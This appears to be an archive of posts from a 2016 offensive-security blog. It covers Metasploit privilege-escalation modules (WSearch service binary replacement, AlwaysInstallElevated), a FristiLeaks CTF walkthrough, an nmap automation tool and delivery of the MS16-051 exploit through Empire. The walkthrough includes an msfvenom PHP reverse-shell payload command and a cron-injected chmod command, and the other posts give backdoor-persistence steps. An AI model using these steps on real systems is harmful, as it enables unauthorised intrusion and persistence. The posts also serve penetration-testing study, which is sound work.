Sunday, 30 October 2016

WSearch - Privilege Escalation via Weak Service Permissions (MSF Module)

Hi guys!!
So, almost after a week full of hard work we finally made our another post module for windows privilege escalation after MSI_privilege_escalation.

[What is WSearch ?]

SearchIndexer.exe is the Windows service that handles indexing of your files for Windows Search, which fuels the file search engine built into Windows that powers everything from the Start Menu search box to Windows Explorer, and even the Libraries feature.  --Wikipedia

[INFO]

--Vendor : Microsoft WSearch (windows indexing) service [SearchIndexer.exe]
--Vulnerability Type : Persistence backdooring + Privilege Escalation
--Versions Affected : Windows XP, VISTA, 7, 8, 9, 10
--Severity : critical

--Description:
The WSearch service uses one executable.exe set in binary_path_name
and runs it has local/system at startup, this enables local privilege_escalation/persistence_backdooring.
To exploit this vulnerability a local attacker needs to replace the executable into the binary_path_name
of the service. 'Rebooting the system or restarting the service will run the malicious executable with
elevated privileges.

[What factors are affecting privilege escalation on windows with the help of this application ?]


                                                                     

We ran command "sc query WSearch" and got result that its state is always in running mode.
With this we can conclude our backdoor can execute all the time and keep system in illusion  replacing original process (WSearch), which could lead to persistence.



We can notice that application is running with NT/Authority privilege. so we can make it persistence with Administrator's privileges.



And finally, we can observe, application START_TYPE is set to AUTO_START mode. So that means that process will start on just after the boot. Also we can observe that BINARY_PATH_NAME can be replaced, so we can save our backdoor with application name i.e SearchIndexer.exe can be replaced with backdoor with same name as of application.

After concluding all these symptoms, we can now build a Metasploit's post module for privilege escalation.



[Advanced Options]



[Proof Of Concept]

--Installation Steps : 

  1. Download module from [ here ] & copy  persist_priv_Wsearch.rb to 
      ../{path}/metasploit-framework/modules/post/windows/escalate/persist_priv_Wsearch.rb
  2. open msfconsole and execute command "reload_all"

-- Exploitation Steps :

1. Get meterpreter session somehow
2. use post/windows/escalate/persist_priv_Wsearch
3. Rename your backdoor to "SearchIndexer.exe"
4. Set UPLOAD_PATH <path to backdoor.exe>
5. set session <session_id> 
6. exploit

 Expected Results : 


-- Reverting Everything To Normal : 

1. set DELETE_PERSISTENCE true
2. set session <session_id>
3. exploit

  Expected Results :



-- Checking Service Setting 

1. set SERVICE_STATUS true
2. exploit

    Expected Results : 



--[Credits] : Pedro Ubuntu [r00t 3xp10it]  | milton_barra | Chaitanya Haritash

Saturday, 15 October 2016

CTF FristiLeaks: 1.3 - Walkthrough

I generally doesn't solves CTFs but after viewing walkthrough of one of my close friend i thought even i must give it a try :P (yea these days i had less work as compared to past some weeks and i watched too much movies ;_;).

So, i thought to try fristileak 1.3. Yea in beginning it was a bit puzzling but then i started having idea about further challenges one after another.


So First thing's first lets scan for live hosts in our network and grab open ports of the target host.


$ nmap -sn 192.168.0.0/24


$ nmap -T4 -A -v 192.168.0.100


OK ! so i got port 80 open here with 3 disallowed entries /cola , /sisi, /beer. Nice lets check em


Our main page, lets check for cola,sisi,beer :D 


Damn !! i got nothing except this meme :/ so here i tried some random links and finally found something on /fristi :D and yea it was a login page !!


here i begin checking page source and found some encrypted info, as much as my guess it was base64.




here i scrolled a bit up and found image being decoded, i decided to replace the encrypted code of image with the base64 i found apart from whole code.


Bingo !! after decoding base64 i got some weird text "keKKeKKeKkEkkEk". LOL easy guess "PASSWORD" :V . I then started searching for username and the one thing which diverted my mind the most, there was a note inside the source of page.


"TODO:
 We need to clean this up for production. I left some junk in here to make testing easier.

- by eezeepz
"

Now here nothing is looking so suspicious except the name of the one who left this comment "eezeepz".

i decided to make combination like 

username : eezeepz
password : keKKeKKeKkEkkEk

and got successful access :D wew !!

next i found only option to upload files but in image format (as i tried to it directly with .php format and that didn't worked).

So i generated php payload via msfvenom and changed its format to .php.png

$  sudo msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.104 lport=4444 -f raw


lol meterpreter i love u :P 





Lets try to gain access to bash shell :D 


Lets check users in home dir.


ok so there are 3 users in which i have permission to access "eezeepz" user's directory.


I did "ls -la" to list all dir with their respected permissions. There were so many files which were like some commands of /user/bin file but one file attracted my attention it was a txt file named "notes.txt" so i decided "cat notes.txt" to open it. and i found hints for next challenge.



ok so as it simply says, i have privilege to use commands like , chmod, df , cat, echo, ps, grep, egrep.
and i if i execute anyone of'em by making file "runthis" in /tmp dir, ill have my results delivered to file named "cronresult". LOL no guess it was sure that user admin is source to other user and eventually to root. "chmod 777 admin -R"

i decided to change permission of user admin's dir as i got privilege to use command "chmod". I executed following set of commands and got positive result as expected :P. 

$ echo “/usr/bin/../../bin/chmod –R 777 /home/admin” > /tmp/runthis 
$ ls -lah /home
$ ls -alh /home/admin

Found some suspicious text files which could be hint to another challenge.

-- whoisyourgodnow.txt
-- cryptedpass.txt
-- cryptpass.py

2 files were with some encrypted text in which one of em was in base64 and other was some random text (as much as i guessed) and the 3rd one was a python file to decode those pass. I decided to decoded one of'em, thought to gave a start with that base64 one.



So it was a password (guessed so , cos password for admin panel was also being disclosed in the same manner)

I decided to try for fristigod. and got successfully login :) 


after owning fistigod user i came one step more closer to root :D 


So i was in dir /var/fistigod as i unfortunately didn't found any hint in /home/fristigod/. There i noticed some hidden files one of them was .bash_history , i decided to open it and found some set of commands have been recorded in that file, like whosoever been there before me had used em, i thought to give them a try ( 3:) evil mind)

$ cat .bash_history 

"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
ls
pwd
ls -lah
cd .secret_admin_stuff/
ls
./doCom 
./doCom test
sudo ls
exit
cd .secret_admin_stuff/
ls
./doCom 
sudo -u fristi ./doCom ls /
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom ls /
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom ls /
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
sudo /var/fristigod/.secret_admin_stuff/doCom
exit
sudo /var/fristigod/.secret_admin_stuff/doCom
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
groups
ls -lah
usermod -G fristigod fristi
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
less /var/log/secure e
Fexit
exit
exit

""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""


hmm ... 

Okay !! now i was a bit tired and decided to do "sudo -l" to get the $PATH


"/var/fristigod/.secret_admin_stuff/doCom" its was a clear hint that this file have some privilege to change permissions or to do some tasks from root's permission , cos its owned by root.

i decided to execute this file "doCom"

$  ./.secret_admin_stuff/doCom

and got prompted with result 

"Nice try , But wrong user ;)"

There i decided to use "sudo" with argument "-u"

$ sudo -u fristi ./.secret_admin_stuff/doCom

Again i got an hint of usage of this file 

"Usage: ./program_name terminal_command ..."

lol here i got some idea that this file will elevate privilege of files of our choice :P i decided to go with /bin/bash, after all who the hell doesn't wants /bin/bash have full privilege? ( 3:D evil mind)

$ sudo -u fristi ./.secret_admin_stuff/doCom /bin/bash

Volia!! 






Thx Aaditya Purani :D for being an inspiration bro :D post dedicated to u bro ^_^

=> Walkthrough to Billy Madison 1.1 By Aaditya Purani

---------

Okay !! So here i ends up this post :) hope you like it :) 





Sunday, 25 September 2016

Nmapii - Its All About Saving The Time

Hey !! Past few days of mine were been pretty lazy, only some raps and coffee kept me alive during nights while working on my projects (some choices i have other than security B| )  :}

Anyways :P apart from being lazy i was working on a tool called 'Nmapii' for making nmap automated its not like normal nmap scanner like scanning for OS and ports, but i've engaged some custom nse scripts to do some scans on other services and exploits (also i've used some default ones too).

yeap it saves time cuz all you need is to select the scan type you want to begin with.

So nmapii is coded in python. as its best for instant code generation also quite fast at prompting results :| (sorry for being noobish)

[Nmapii - Main]


[Nmapii - Help]



[Nmapii - About]



Yea that was a shamless part :P but everyone do it :P anyways lets move on

[Nmapii - Scans user can perform]



[Nmapii - In Action]




[Some Other Details ]

Custom NSE engaged :

(i) PHPIPAM :

References:
Vendor: http://phpipam.net/
Vuln Discover: http://0day.today/exploit/25375
Module Author: https://sourceforge.net/u/peterubuntu10/profile/

(ii) MS15-034 :

Reference :
MS Security Bulletin : https://technet.microsoft.com/en-us/library/security/ms15-034.aspx
Module Author :https://sourceforge.net/u/peterubuntu10/profile/

{LOGS}

You can easily get all logs about your scans in /home/.nmappi-logs
All scans are particularly categorised in individual dir

[Installation]

1. git clone http://github.com/ChaitanyaHaritash/nmapii

2. cd ../path/nmapii/utils

3. sudo bash install.sh

4. sudo python nmapii.py

[Video Demo]





Feel Free to modify :) its an opensource project.

Special thanks to : r00t 3xp10it & VIRkid thx bros ;D 
Greets to : SSA [Suspicious Shell Activity] & HSH [Hell Shield Hackers]
And shit for haters :V


         
                        

Saturday, 17 September 2016

MS16-051 with in Empire

Powershell Expire has been a great asset for those who wanna develop exploits in python and merge into some exploit handlers other than MSF/ExploitPack.

So today's post is for an exploit which has been in heat from last couple of months as i've read lots of post about it.
Also its been used in some famous exploitkits. Like recently it was been observed in neutrino exploitkit.

Yeap its 'MS16-051' Exploit which is also known as 'internet explorer vbscript_godmode exploit'.

Its available in Empire too. you can download stager from here 

So lets start...... :D


[Installing EMPIRE And Adding New Stager]

Done with git clone


Lets add our stager 'ms16_051' to /Empire/lib/stager and hit install.sh in /Empire/setup/install.sh .
Install apache2 if u dont have , i hope everyone have it as mostly testers uses pentsting distros. So i left this onto you.


[Get Everything Ready]

Listener is all set 


Setting our stager up and get out output html file :)  


So everything setup here :) now lets wait our victim to click the link pointed to our apache :) 

[Personally Observed ]

As i searched on internet for IE6 test of this exploit, i didn't found a single post related to it. So I gave this exploit a try in IE6 too :P LOL it worked there too.  






Saturday, 3 September 2016

MSI_privilege_escalation (MSF module for privilege escalation in windows)

Sup guys ? hope u all doin well :)

Today's post is about a module SSA just completed about a week ago. This module is all bout privilege escalation in win based sessions on metasploit :)

So lets start :)

-- What is Privilege escalation ? 

Privilege escalation is the act of exploiting a bug, design flaw or configuration oversight in an operating system or software application to gain elevated access to resources that are normally protected from an application or user. The result is that an application with more privileges than intended by the application developer or system administrator can perform unauthorized actions.


                                                                                                                                  (WikiPedia)

-- [Module Discription]





-- [ Installation ]

Download module from following link : https://sourceforge.net/p/msf-auxiliarys/repository/ci/master/tree/MSI_privilege_escalation.rb

now copy&paste it to following msf path : 
ubuntu : /opt/metasploit-framework/modules/post/windows/escalate/
kali : /path/metaploit/modules/post/windows/escalate/

now load msfconsole and type following commands 
msf > reload_all
msf > use post/windows/escalate/MSI_privilege_escalation
msf post(MSI_privilege_escalation) > info


-- [ Module Advanced Options ]





-- WorkFlow of Module (config required setting)

'GET_SYSTEM' allows users to elevate current session (client) to nt authority/system. using impersonate tokens. 


'MSI_ESCALATION' allows users to CHECK/SET 'AlwaysInstallElevated' registry keys remottly. If the reg key its allready set to dword:1 in target system, then this funtion will warn attacker
that the bypass its allready active. (so no further need to change reg key data again).

dword:0 keys are set to dword:1. Bypassed :)


'REVERT_PRIVS' allows users to set 'AlwaysInstallElevated' registry keys to default (dword:0). Now here attacker can set all setting to old default ones as well :) 






--- General Errors 

This is common error ppl might encounter with. nothing wrong with module. The reason is mostly might be using old version of metasploit. So replace the class name to the default class name your MSF using(Current one is MetasploitModule) and it work right like it should be :)



-- [Video Demo]




[Credits]

'r00t-3xp10it' =>  post-module author
  Inspiration: Ben Campbell | Parvez Anwar
  Module debug: Chaitanya [ SSA RedTeam ]